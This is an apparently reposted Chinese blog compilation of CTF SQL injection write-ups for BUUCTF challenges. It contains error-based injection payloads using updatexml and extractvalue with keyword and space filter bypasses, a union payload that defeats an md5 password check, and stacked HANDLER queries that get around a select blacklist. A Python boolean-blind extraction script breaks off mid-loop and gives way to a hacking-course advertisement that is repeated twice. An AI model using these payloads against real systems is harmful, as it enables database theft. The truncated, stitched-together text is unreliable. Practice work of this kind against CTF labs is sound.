2024年最新CTF Web SQL注入专项整理(持续更新中)

2024年最新CTF Web SQL注入专项整理(持续更新中)

码农世界 2024-05-14 前端 65 次浏览 0个评论

使用right()突破字符限制

1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制

这两种函数大同小异,不再赘述

当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以

大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#

1'or(extractvalue(1,concat(0x7e,(select(database())))))#

好了大家已经明显看到了^和()绕过不同限制的区别

那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#

1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#

使用right()突破字符限制

1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#

拼接得到最终flag:

flag{389c9161-c2eb-403a-8062-80f219ca1c30}

原文链接:https://blog.csdn.net/m0_73734159/article/details/134450773

md5与SQL之间的碰撞
【例题】BUUCTF [GXYCTF2019]BabySQli 1 详解!

题目环境

burp抓包

随便输入值

repeater放包

在注释那里发现某种编码

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

看着像是base编码格式

通过测试发现是套加密(二次加密)

首先使用base32对此编码进行解码

base32解码

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

两个等号base64编码无疑了

base64解码

得到一段SQL查询语句

select * from user where username = '$name'

通过对这段SQL语句的初步判断

可以得出此题的注入点是参数name

判断注入类型

1

123

1’

123

发生报错

可以得出此题的注入类型为字符型注入

尝试万能密码

1’ or ‘1’='1

123

猜测’or’关键字或’='字符被过滤

弱口令猜测

首先猜测用户名既有可能是admin

密码暂且还不知道

判断字段数

1’ union select 1,2#

123

1’ union select 1,2,3#

123

可知字段数是3

判断用户所在列

1’ union select ‘admin’,2,3#

123

1’ union select 1,‘admin’,3#

123

通过用户所在列测试,得出了存在用户admin,又得出了admin用户在第二列,也就是username字段那一列。

查看题目源码

在search.php源代码哪里发现关键代码

if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}

发现参数password被md5加密

看着和之前做过的题很类似

大致就是传进去的值要进行md5值加密

换种方式猜测

username数据表里面的3个字段分别是flag、name、password。

猜测只有password字段位NULL

咱们给参数password传入的值是123

那么传进去后,后台就会把123进行md5值加密并存放到password字段当中

当我们使用查询语句的时候

我们pw参数的值会被md5值进行加密

然后再去与之前存入password中的md5值进行比较

如果相同就会输出flag

爆flag:

这里pw参数的值为123456

可以随便传

但是要对传入的那个值进行md5值加密

网上可以随便找一个在线md5加密平台

1’union select 1,‘admin’,‘e10adc3949ba59abbe56e057f20f883e’#

123456

得出flag:

flag{3c7be44e-df35-40a7-bd91-1b210bf75fcb}

handler命令用法
【例题】BUUCTF [GYCTF2020]Blacklist 1详解

题目环境

判断注入类型

1

1’

可知本题是字符型注入

查库

此题使用堆叠查询

1’;show databases;

查表

1’;show tables;

存在FlagHere数据表

极有可能当中存在flag

查字段数

– - 是闭合符

1’ order by 3 – -

1’ order by 2 – -

可知只有两个字段数

查FlagHere数据表的字段名

1’;show columns from FlagHere;

存在flag字段!

查words数据表的字段名

1’;show columns from words;

从这里看的话这题与buuctf[强网杯 2019]随便注 1这道题是有几分相似的

后者是通过改表名来获取flag值,但是前者既然放到了后边,应该没有那么容易

猜测修改表名的命令极有可能被过滤了

后者题解非常详细可以看看下面这个链接(同时也包含handler解法!)

https://blog.csdn.net/m0_73734159/article/details/134049744

判断命令是否存在过滤

rename

return preg_match(“/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i”,$inject);

果不其然改表名的两个关键命令被过滤了

rename和alter

包括查询命令也被过滤了

select

通过handler命令获取flag

select这个查询命令大家都很熟悉

但是我们却忽略了一个也很重要的角色

那就是handler查询命令

虽然handler这个命令不常见

但是它也非常强大

handler命令查询规则

  • handler table_name open;handler table_name read first;handler table_name close;
  • handler table_name open;handler table_name read next;handler table_name close;

如何理解?

  • 首先打开数据库,开始读它第一行数据,读取成功后进行关闭操作。
  • 首先打开数据库,开始循环读取,读取成功后进行关闭操作。

构造payload

  • 1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
  • 1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;

    上传payload

    得到flag:

    flag{29e0c4b0-b659-4115-a74c-f3c25d3aac9b}

    原文链接:https://blog.csdn.net/m0_73734159/article/details/134731461?spm=1001.2014.3001.5501

    布尔盲注
    【例题】BUUCTF [CISCN2019 华北赛区 Day2 Web1]Hack World 1(SQL注入之布尔盲注)

    题目环境

    判断注入类型

    1

    2

    3

    1’

    输入1’报错提示bool(false)

    可知是字符型的布尔注入(盲注)

    尝试万能密码

    1’ or ‘1’=1

    已检测SQL注入

    猜测某些关键字或者字符被过滤

    FUZZ字典爆破

    可以看到部分关键字被过滤,包括空格

    All You Want Is In Table ‘flag’ and the column is ‘flag’

    Now, just give the id of passage

    通过提示可以知道

    flag字段在flag数据表里面

    布尔注入

    布尔注入是一种常见的SQL注入攻击技术,攻击者通过构造恶意输入,使应用程序的SQL查询返回不同的结果,从而达到绕过应用程序的安全机制,获取未授权的信息或执行恶意操作的目的。

    布尔盲注

    布尔盲注,也称为基于布尔的盲注,是一种SQL注入攻击方式。这种攻击方式主要利用Web页面的返回结果,根据页面返回的True或者是False来得到数据库中的相关信息。

    在进行布尔盲注攻击时,攻击者首先需要对目标应用程序进行SQL注入,然后根据页面返回的结果来判断注入是否成功。由于页面没有显示位,没有输出SQL语句执行错误信息,只能通过页面返回正常不正常来判断是否存在注入。因此,这种攻击方式比较消耗时间,速度较慢。

    在布尔盲注中,攻击者可能会使用一些常用的函数,如length()函数和ascii()函数。length()函数用于返回字符串的长度,ascii()函数用于返回字符串的字符ASCII码值。这些函数可以帮助攻击者更好地分析和理解返回结果,从而获取更多的信息。

    总之,布尔盲注是一种比较复杂的SQL注入攻击方式,需要攻击者具备一定的技术水平和耐心。为了防止布尔盲注攻击,应该加强应用程序的安全性,如进行输入验证、使用参数化查询等措施。

    通过脚本爆破flag

    import requests
    #调用请求模块
    import time
    #调用时间模块
    import re
    #调用规则表达式模块
    url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
    #题目链接
    flag = ''
    #创建一个变量用来存放flag值
    for i in range(1,50):
        #for循环遍历,i表示flag值大致长度是50以内
        max = 127
        #赋值127
        min = 0
        #赋值0
        for c in range(0,127):
            #for循环遍历
            s = (int)((max+min)/2)
            #首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
            payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
            #^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
            #从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
            #将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
            r = requests.post(url,data = {'id':payload})
            #requests模块的运用,将payload赋值给题目中这个名为id的参数
            time.sleep(0.005)
            #每循环一次休眠0.005秒
            if 'Hello' in str(r.content):
                #如果Hello这个字符串在生成的结果中,那么就继续向下进行
                max=s
            #将s的值赋值给max
    ### 如何自学黑客&网络安全
    #### 黑客零基础入门学习路线&规划
    **初级黑客**  
     **1、网络安全理论知识(2天)**  
     ①了解行业相关背景,前景,确定发展方向。  
     ②学习网络安全相关法律法规。  
     ③网络安全运营的概念。  
     ④等保简介、等保规定、流程和规范。(非常重要)
    **2、渗透测试基础(一周)**  
     ①渗透测试的流程、分类、标准  
     ②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking  
     ③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察  
     ④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
    **3、操作系统基础(一周)**  
     ①Windows系统常见功能和命令  
     ②Kali Linux系统常见功能和命令  
     ③操作系统安全(系统入侵排查/系统加固基础)
    **4、计算机网络基础(一周)**  
     ①计算机网络基础、协议和架构  
     ②网络通信原理、OSI模型、数据转发流程  
     ③常见协议解析(HTTP、TCP/IP、ARP等)  
     ④网络攻击技术与网络安全防御技术  
     ⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
    **5、数据库基础操作(2天)**  
     ①数据库基础  
     ②SQL语言基础  
     ③数据库安全加固
    **6、Web渗透(1周)**  
     ①HTML、CSS和JavaScript简介  
     ②OWASP Top10  
     ③Web漏洞扫描工具  
     ④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)  
     恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
    到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
    如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
    ## 最后
    **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
    **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
    **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
    ![img](https://img-blog.csdnimg.cn/img_convert/9c274274e92e2ac1a0759e7d4f4b1216.png)
    ![img](https://img-blog.csdnimg.cn/img_convert/11e8252d0cef9d958e975cab4ea83f93.png)
    ![img](https://img-blog.csdnimg.cn/img_convert/2e37809461b916e48ae90fbd6f1c8361.png)
    ![img](https://img-blog.csdnimg.cn/img_convert/792d10f9235a061c835f652987ba0353.png)
    ![img](https://img-blog.csdnimg.cn/img_convert/22992d62e5895d8ce77112966a783665.png)
     
    **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
    [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
    **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
    他(菜刀、漏扫等)  
     恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
    到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
    如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!
    ## 最后
    **自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**
    **深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**
    **因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**
    [外链图片转存中...(img-m3ssYmY8-1715438677163)]
    [外链图片转存中...(img-BX52UVwm-1715438677164)]
    [外链图片转存中...(img-zLxhqQLP-1715438677164)]
    [外链图片转存中...(img-9w35nEAb-1715438677164)]
    [外链图片转存中...(img-vM8t4cir-1715438677164)]
     
    **既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**
    [**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)
    **由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**
    

转载请注明来自码农世界,本文标题:《2024年最新CTF Web SQL注入专项整理(持续更新中)》

百度分享代码,如果开启HTTPS请参考李洋个人博客
每一天,每一秒,你所做的决定都会改变你的人生!

发表评论

快捷回复:

评论列表 (暂无评论,65人围观)参与讨论

还没有评论,来说两句吧...

Top